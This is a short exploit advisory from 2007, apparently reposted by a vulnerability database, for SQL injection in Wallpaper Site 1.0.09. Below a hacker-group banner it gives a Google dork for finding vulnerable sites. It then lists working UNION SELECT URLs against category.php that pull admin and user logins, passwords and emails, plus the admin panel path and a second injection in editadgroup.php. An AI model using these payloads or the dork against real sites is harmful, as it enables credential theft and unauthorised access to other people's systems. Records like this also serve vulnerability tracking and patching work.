Wallpaper Site 1.0.09 (category.php) Remote SQL Injection Vulnerability

🗓️ 23 Dec 2007 00:00:00Reported by RootType
Wallpaper Site 1.0.09 Remote SQL Injection Vulnerability on category.ph

                                                #&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__.&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;&nbsp;NNNN&nbsp;&nbsp;&nbsp;JNNN`&nbsp;NNNN.&nbsp;&nbsp;&nbsp;NNN&nbsp;NNNNNNNNNNN&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;&nbsp;`NNN).NNNF&nbsp;&nbsp;.NNNNN&nbsp;&nbsp;(NN)&nbsp;&quot;&quot;&quot;4NNN&quot;&quot;&quot;`&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(NNNNNN`&nbsp;&nbsp;&nbsp;(NNNNN)&nbsp;NNN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(NNN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4NNNN`&nbsp;&nbsp;&nbsp;&nbsp;NNN(NNN.NNF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NNN)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JNNNNL&nbsp;&nbsp;&nbsp;&nbsp;(NN)&nbsp;NNNNNN)&nbsp;&nbsp;&nbsp;&nbsp;(NNN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;&nbsp;JNNNNNN)&nbsp;&nbsp;&nbsp;JNN`&nbsp;`NNNNN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JNNF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;.NNNF&nbsp;(NNN.&nbsp;&nbsp;NNN&nbsp;&nbsp;&nbsp;4NNN)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NNN)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;JNNN`&nbsp;&nbsp;&nbsp;NNNN&nbsp;(NN)&nbsp;&nbsp;&nbsp;&nbsp;NNN`&nbsp;&nbsp;&nbsp;&nbsp;(NNN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NN)&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://xaker.name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__.
#
#
#&nbsp;script&nbsp;name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Wallpaper&nbsp;site&nbsp;1.0.09
#&nbsp;GoogLe&nbsp;Dork&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Powered&nbsp;by&nbsp;EasySiteNetwork&nbsp;
#&nbsp;Of.&nbsp;site&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.easysitenetwork.com/
#&nbsp;The&nbsp;price&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;?
#&nbsp;Risk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Average
#&nbsp;Found&nbsp;By&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Koller
#&nbsp;Thanks&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;all&nbsp;members&nbsp;xaker.name&nbsp;&amp;&nbsp;grabberz.com
#&nbsp;Vulnerable&nbsp;files&nbsp;:&nbsp;category.php,&nbsp;editadgroup.php

#&nbsp;Vuln&nbsp;:&nbsp;www.victim.com/category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password),444+from+admin_login/*
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.victim.com/category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password,email),444+from+users/*
#
#&nbsp;Admin&nbsp;panel:&nbsp;www.victim.com/siteadmin/index.php
#
#&nbsp;Addon&nbsp;:)&nbsp;-&nbsp;sql-injection&nbsp;in&nbsp;editadgroup.php&nbsp;-&nbsp;www.victim.com/siteadmin/editadgroup.php?groupid=2&nbsp;union&nbsp;select&nbsp;111,222/*

#&nbsp;P.s.&nbsp;Happy&nbsp;New&nbsp;Year&nbsp;8)
#
#&nbsp;Contact:&nbsp;K0ller&nbsp;(at)&nbsp;hotmail&nbsp;(dot)&nbsp;CoM
23 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1